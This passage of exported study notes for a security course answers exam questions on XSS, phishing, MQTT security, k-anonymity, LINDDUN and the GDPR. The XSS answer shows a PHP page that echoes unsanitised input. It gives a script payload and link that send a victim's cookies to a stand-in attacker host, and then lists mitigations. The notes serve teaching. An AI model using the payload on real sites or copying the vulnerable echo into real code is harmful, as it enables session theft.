relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -26px; width: 26px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-operator"><?</span><span class="cm-variable">php</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 18px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">echo</span> <span class="cm-string">"Here your result for"</span><span class="cm-operator">+</span><span class="cm-variable-2">$_GET</span>[<span class="cm-string">'q'</span>];</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-operator">?></span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 66px;"></div><div class="CodeMirror-gutters" style="height: 66px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 26px;"></div></div></div></div></pre><p>here i can type:</p><pre spellcheck="false" class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" lang="html"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="html"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 38px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 26px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>3</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -26px; width: 26px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag cm-bracket"><</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">></span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 18px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text=" "> </span><span class="cm-variable">window</span>.<span class="cm-property">open</span>(<span class="cm-string">"http://mymalicioussite.com/?cookie="</span><span class="cm-operator">+</span><span class="cm-variable">document</span>.<span class="cm-property">cookie</span>)</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -26px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 18px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag cm-bracket"></</span><span class="cm-tag">script</span><span class="cm-tag cm-bracket">></span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 66px;"></div><div class="CodeMirror-gutters" style="height: 66px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 26px;"></div></div></div></div></pre><p>If it works, i'll send my authentication cookie to another website.</p><p>I can give this link : </p><p><code>site.com/search.php?q=<script>window.open("http://mymalicioussite.com/?cookie="+document.cookie)</script></code></p><p>to someone and steal his/her cookies!</p><p> </p><p>This can be mitigated by <strong>replacing</strong> <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-124-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.807ex" height="1.68ex" viewBox="0 -610.5 778 723.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E124-MJMAIN-3C" d="M694 -11T694 -19T688 -33T678 -40Q671 -40 524 29T234 166L90 235Q83 240 83 250Q83 261 91 266Q664 540 678 540Q681 540 687 534T694 519T687 505Q686 504 417 376L151 250L417 124Q686 -4 687 -5Q694 -11 694 -19Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E124-MJMAIN-3C" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-124"><</script> with <code>&lt;</code> or by <strong>sanitizing and removing all</strong> tags (or only the dangerous one) from the input.</p><p>This attack eludes the Same Origin Policy because it's a <code><script></code> executed in the same page so it has the same origin and it's the page itself sending data outside.</p></blockquote></li><li><p>What is a phishing attack? Give an high level description of how to mount it and the main mitigation measures</p><blockquote><p>A <strong>phishing attack</strong> is an attack which consist in letting an unsuspecting user visit a fake/malicious website, copying a true website, to steal personal information(Like login, password, codice fiscale,...)</p><p>To make this attack our user Giulio receives a mail from paypal.</p><p>This email is equal to a true paypal mail.</p><p>This email uses real paypal embedded images, with real links.</p><p>This email have a big button which is saying <code>reset your password</code>.</p><p>Pressing this, Giulo gets redirected to <code>https://paypaI.com</code>(paypa<strong>I</strong>.com <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-125-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="4.96ex" height="2.45ex" viewBox="0 -776.4 2135.6 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E125-MJMATHI-49" d="M43 1Q26 1 26 10Q26 12 29 24Q34 43 39 45Q42 46 54 46H60Q120 46 136 53Q137 53 138 54Q143 56 149 77T198 273Q210 318 216 344Q286 624 286 626Q284 630 284 631Q274 637 213 637H193Q184 643 189 662Q193 677 195 680T209 683H213Q285 681 359 681Q481 681 487 683H497Q504 676 504 672T501 655T494 639Q491 637 471 637Q440 637 407 634Q393 631 388 623Q381 609 337 432Q326 385 315 341Q245 65 245 59Q245 52 255 50T307 46H339Q345 38 345 37T342 19Q338 6 332 0H316Q279 2 179 2Q143 2 113 2T65 2T43 1Z"></path><path stroke-width="0" id="E125-MJMAIN-2260" d="M166 -215T159 -215T147 -212T141 -204T139 -197Q139 -190 144 -183L306 133H70Q56 140 56 153Q56 168 72 173H327L406 327H72Q56 332 56 347Q56 360 70 367H426Q597 702 602 707Q605 716 618 716Q625 716 630 712T636 703T638 696Q638 692 471 367H707Q722 359 722 347Q722 336 708 328L451 327L371 173H708Q722 163 722 153Q722 140 707 133H351Q175 -210 170 -212Q166 -215 159 -215Z"></path><path stroke-width="0" id="E125-MJMATHI-6C" d="M117 59Q117 26 142 26Q179 26 205 131Q211 151 215 152Q217 153 225 153H229Q238 153 241 153T246 151T248 144Q247 138 245 128T234 90T214 43T183 6T137 -11Q101 -11 70 11T38 85Q38 97 39 102L104 360Q167 615 167 623Q167 626 166 628T162 632T157 634T149 635T141 636T132 637T122 637Q112 637 109 637T101 638T95 641T94 647Q94 649 96 661Q101 680 107 682T179 688Q194 689 213 690T243 693T254 694Q266 694 266 686Q266 675 193 386T118 83Q118 81 118 75T117 65V59Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E125-MJMATHI-49" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E125-MJMAIN-2260" x="781" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E125-MJMATHI-6C" x="1837" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-125">I\ne l</script>), </p><p>The page does spoofing, having the same style/html of the original login page. When giulio put his login to this fake site, the website redirects giulio to the true paypal website, but keeps the login information for itself (and store them for the hacker).</p><p> </p><p>A possible mitigation is checking Certificates:</p><ul><li>Having HTTPS doesn't mean it's the true website, we have to check if the website certificate is original and it's referring to the true website.</li><li>Certification Authorities should avoid creating certificates with similar names (<code>paypal.com</code> and <code>paypaI.com</code>)</li></ul><p>We can also <strong>raise awareness</strong> to help people not getting phished.</p><p>If we are the website who got cloned:</p><ul><li><p>We should notice a spike of</p><ul><li>Changing Password</li><li>Moving Funds</li><li>Password Reset</li><li>Image GET Requests</li></ul></li><li><p>We should put private information(like user ID or name and surname) into mail we are sending;</p><p>This prevents <strong>phishing but it doesn't prevent Spear Phishing</strong>(Phishing focused to one or more users using their private information to make the request seems legit)</p></li></ul></blockquote></li><li><p>Explain the publish-subscribe pattern</p><blockquote><p>The <strong>Publish Subscribe </strong> pattern is an alternative pattern to the <strong>Client-Server</strong> pattern, used in IoT (M2M) devices.</p><p>The Publish Subscribe pattern is:</p><ul><li><strong>Many To Many</strong>: I can have more than one producer that sends to more than one consumer;</li><li><strong>Space Decoupling</strong>: Publisher and Subscriber doesn't need to know each other to exchange events;</li><li><strong>Time Decoupling</strong>: Publisher and Subscriber doesn't need to be up at the same time to exchange the event;</li><li><strong>Sync Decoupling</strong>: Publisher and Subscriber doesn't need to be synchronized to exchange events;</li><li><strong>Support of both Pull and Push</strong> Interactions.</li></ul><p>There are 3 main entities:</p><ul><li><p><strong>Publisher</strong>: Publish events;</p></li><li><p><strong>Subscriber</strong>: Subscribe to a Topic to get events;</p></li><li><p><strong>Broker/Event Notification Services/Mediator:</strong> Notify the subscriber of a topic about a new event.</p><p>It can be:</p><ul><li><strong>Centralized</strong></li><li><strong>Distribuited</strong>: More <strong>scalable</strong></li></ul></li></ul><p>Everybody knows an <strong>event-schema</strong>, a definite set of <strong>fields</strong>, with a name and a type.</p><p>A <strong>subscription</strong> is a constraint expressed on the event schema.</p><p>The <strong>ENS/Broker</strong> will notify the subscriber if and only if event <strong>e matches subscriber s</strong>.</p><p>To match, the subscriber <strong>must be subscribed</strong> to that topic.</p><p>The flow is simple:</p><ol start='' ><li>A subscriber subscribe to a topic, <strong>telling it to the Broker</strong>;</li><li>A publisher <strong>publish</strong> an event to a <strong>topic</strong>, <strong>sending the event to the Broker;</strong></li><li>The broker <strong>notify all the subscriber</strong> of that particular topic, as soon as they are up.</li></ol><p>There are different approaches. These are the two main approaches:</p><ol start='' ><li><p><strong>Topic-Based</strong></p><p>We have a topic based subscription. A subscriber follow a topic and gets all the notification of that topic.</p></li><li><p><strong>Hierarchy-Based</strong></p><p>As the topic based, but with <strong>nested</strong> topic. If you subscribe to a topic, <strong>you'll get also all the sub-tree notification.</strong></p></li></ol></blockquote></li><li><p>What is MQTT? Explain its security issues</p><blockquote><p>MQTT (Message Queue Telemetry Trasport) is a Publish Subscribe Protocol with design principles:</p><ul><li><p>Minimize network bandwith</p></li><li><p>Consider small set of device resource requirements</p></li><li><p>Ensure reliability with Quality Of Service:</p><ul><li>QoS from 0 to 2, higher is the number, more acknowledgements will be exchanged.</li></ul></li></ul><p>it has:</p><ul><li><strong>Publisher</strong>;</li><li><strong>Subscriber</strong>:</li><li><strong>Centralized Broker</strong>;</li><li><strong>Topic to get subscribed</strong>.</li></ul><p><strong>Security Issue</strong>:</p><ol start='' ><li>There is no security implementation in the base protocol because of its lightweight design, so it uses TLS/SSL(and adds overhead).</li><li><strong>Authentication</strong> can be set, but it's sent in <strong>PlainText</strong> (without SSL/TLS).</li><li>Authentication doesn't have something to <strong>Limit login attempts,</strong> so it's possible to <strong>Bruteforce.</strong></li><li>We can subscribe to all the user topic with <code>#</code>, we can subscribe to all system topic with <code>$SYS/#</code></li><li>This can lead to problems if i try to publish in sys channel or other channel used by IoT system, such as Fire Alarms.</li></ol></blockquote></li></ul><h4><a name='header-n1368' class='md-header-anchor '></a>Privacy & Data protection</h4><ul><li><p>Define the notion of privacy. What is k-anonimity?</p><blockquote><p>Privacy means:</p><ul><li>Having <strong>full control of all personal</strong> informations;</li><li>High level of difficulty to create <strong>correlations</strong> between data/actions.</li></ul><p><strong>K-Anonimity</strong> is a mitigation model to a <strong>linkage attack</strong>.</p><p>If we have <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-126-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.21ex" height="2.065ex" viewBox="0 -776.4 521 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E126-MJMATHI-6B" d="M121 647Q121 657 125 670T137 683Q138 683 209 688T282 694Q294 694 294 686Q294 679 244 477Q194 279 194 272Q213 282 223 291Q247 309 292 354T362 415Q402 442 438 442Q468 442 485 423T503 369Q503 344 496 327T477 302T456 291T438 288Q418 288 406 299T394 328Q394 353 410 369T442 390L458 393Q446 405 434 405H430Q398 402 367 380T294 316T228 255Q230 254 243 252T267 246T293 238T320 224T342 206T359 180T365 147Q365 130 360 106T354 66Q354 26 381 26Q429 26 459 145Q461 153 479 153H483Q499 153 499 144Q499 139 496 130Q455 -11 378 -11Q333 -11 305 15T277 90Q277 108 280 121T283 145Q283 167 269 183T234 206T200 217T182 220H180Q168 178 159 139T145 81T136 44T129 20T122 7T111 -2Q98 -11 83 -11Q66 -11 57 -1T48 16Q48 26 85 176T158 471L195 616Q196 629 188 632T149 637H144Q134 637 131 637T124 640T121 647Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E126-MJMATHI-6B" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-126">k</script> Individuals, we shouldn't be able to recognize each one of them to the other <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-127-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="5.211ex" height="2.065ex" viewBox="0 -776.4 2243.4 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E127-MJMATHI-6B" d="M121 647Q121 657 125 670T137 683Q138 683 209 688T282 694Q294 694 294 686Q294 679 244 477Q194 279 194 272Q213 282 223 291Q247 309 292 354T362 415Q402 442 438 442Q468 442 485 423T503 369Q503 344 496 327T477 302T456 291T438 288Q418 288 406 299T394 328Q394 353 410 369T442 390L458 393Q446 405 434 405H430Q398 402 367 380T294 316T228 255Q230 254 243 252T267 246T293 238T320 224T342 206T359 180T365 147Q365 130 360 106T354 66Q354 26 381 26Q429 26 459 145Q461 153 479 153H483Q499 153 499 144Q499 139 496 130Q455 -11 378 -11Q333 -11 305 15T277 90Q277 108 280 121T283 145Q283 167 269 183T234 206T200 217T182 220H180Q168 178 159 139T145 81T136 44T129 20T122 7T111 -2Q98 -11 83 -11Q66 -11 57 -1T48 16Q48 26 85 176T158 471L195 616Q196 629 188 632T149 637H144Q134 637 131 637T124 640T121 647Z"></path><path stroke-width="0" id="E127-MJMAIN-2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path><path stroke-width="0" id="E127-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E127-MJMATHI-6B" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E127-MJMAIN-2212" x="743" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E127-MJMAIN-31" x="1743" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-127">k-1</script> .</p><p>This is achieved by data <strong>Generalization</strong> on quasi-identifier.</p><p>For example:</p><p>we have no key identifier, two quasi-identifier(Sex,Year) and one sensitive information(Disease).</p><figure><table><thead><tr><th style='text-align:left;' >Sex</th><th>Year</th><th>Disease</th></tr></thead><tbody><tr><td style='text-align:left;' >M</td><td>1961</td><td>Cancer</td></tr><tr><td style='text-align:left;' >M</td><td>1965</td><td>Heart Disease</td></tr></tbody></table></figure><p>This can be <strong>generalized</strong> by doing:</p><figure><table><thead><tr><th style='text-align:left;' >Sex</th><th>Year</th><th>Disease</th></tr></thead><tbody><tr><td style='text-align:left;' >M</td><td>196*</td><td>Cancer</td></tr><tr><td style='text-align:left;' >M</td><td>196*</td><td>Heart Disease</td></tr></tbody></table></figure><p>We must avoid <strong>suppression</strong>: Generalization causes too much loss of information.</p><p>This can be attacked by using: </p><ul><li><p><strong>Homogeneity attack:</strong></p><p>In the previous example, <strong>if they had the same disease, that generalization was worthless.</strong></p></li><li><p><strong>Background Knowledge Attack:</strong></p><p>Knowing something about the subject (background knowledge).</p></li></ul></blockquote></li><li><p>What is data protection? </p><blockquote><p>Data protection is a broad theme and include:</p><ul><li>safeguarding data</li><li>getting consent from the person whose data is being collected</li><li>identifying the regulations that apply to the organization in question and the data it
collects</li><li>ensuring employees are fully trained in the nuances of data privacy and security</li></ul></blockquote></li><li><p>What is LINDDUN? Define also <em>linkability</em> and <em>identifiability</em></p><blockquote><p>LINDDUN is a privacy threat modeling methodology that supports analysts in mitigating privacy threats in software architectures. It's an acronym of:</p><ul><li><strong>Linkability</strong>: Being able to distinguish a correlation between two Item of Interest. This leads to <strong>Identifiability</strong> and <strong>Inference</strong> (Discrimination).</li><li><strong>Identifiability</strong>: Being able to identify a subject within a set of subject. This leads to <strong>Privacy Concern</strong></li><li><strong>Non Repudiation</strong>: Not Being able to repudiate an accuse, an attacker can prove something that has been done or know by a subject. This leads to <strong>persecution/detention</strong></li><li><strong>Detectability</strong>: Being able to distinguish the existence of the Item of Interest within a set. This leads to <strong>Information Disclosure.</strong></li><li><strong>Disclosure of information</strong>: Violation of Confidentiality.</li><li><strong>Unawareness</strong>: Not being aware of what sharing some informations could cause. This leads to <strong>more linkability.</strong></li><li><strong>Non compliance</strong>: Not following the privacy regulations. This leads to bad <strong>reputation and fines.</strong></li></ul></blockquote></li><li><p>What is the likelihood of an event? What is the impact of an event? What is the risk of an event? What is the risk matrix?</p><blockquote><p><strong>Likelihood</strong>: the probability that an adverse event will occur in the system. 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Inside the matrix there is the product of the corresponding likelihood and consequences. A vulnerability risk can be evaluated inside the matrix: [1 to 4] is good, [4 to 10] is worrying, [above 10] is an unacceptable risk.</p></blockquote></li><li><p>What is the scope of application of the GDPR? Who is the <em>data controller</em>? Who is the <em>data processort</em>? What is the <em>Data Subject</em>? What is the <em>Data Protection Impact Assessment</em>? </p><blockquote><p>The GDPR covers all EU citizens' data regardless of where the organization collecting the data is located. It's a regulation that aims privacy and data protection of citizens</p><p><strong>Data controller</strong>: the person or company which handle data of data subjects, determining the purposes and means of its processing. They aren't owners of the data.</p><p><strong>Data subject</strong>: the user of the system, the only proprietary of his data that gives to data controllers the explicit consent to process it for explicit goals. He can revoke his consent at any time.</p><p><strong>Data Processor</strong>: the person or company that which process data on behalf of the controller.</p><p><strong>DPIA</strong>: A document that must be produced before the system deploy and updated during its lifetime. It guarantees that the risk to the rights and freedom of the system users is minimal</p></blockquote></li><li><p>Why does the GDPR propose a risk-based approach to data protection?</p><blockquote><p>To best assess and mitigate the company and users top risks under GDPR</p></blockquote></li><li><p>What is the difference between the risk evaluated for an organization and the risk of a data processing activity in the GDPR?</p><blockquote><p>The risk of a data processing activity in the GDPR should consider the subject risks and not the company ones. For example, a single stolen data record has minimal impact to a data controller, but can have tragic consequences for its subject: the risk should be high because the subject point of view prevails</p></blockquote></li><li><p>Explain how a violation of confidentiality and one of integrity can lead to a “risk to the rights and freedoms” of the data subject</p><blockquote><p>A violation of confidentiality can lead to unintended disclosure of personal information. For example, ethnicity or sexual orientation disclosure can lead to discriminations</p><p>A violation of integrity can lead to wrong data associated to an user, for example someone poor could loose tax reductions because his annual income record has been violated and modified</p></blockquote></li></ul><p> </p></div>
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